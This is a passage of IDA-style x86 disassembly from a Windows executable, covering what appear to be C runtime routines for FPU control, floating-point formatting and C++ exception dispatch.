loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D408
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D408
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D414
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 2690214h
		nop
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26B0000h
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D088
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D088
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; ___:off_43D430o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE5C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE58
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D088
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE5C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE5C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE60
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE58
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D088
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE5C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE58, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE60, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE58
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE60, ecx
		setl	cl
		mov	byte_4DBE64, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE60, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE5C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE5C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: ___:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE68
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE6C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------


loc_4227B8:				; CODE XREF: sub_422651+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
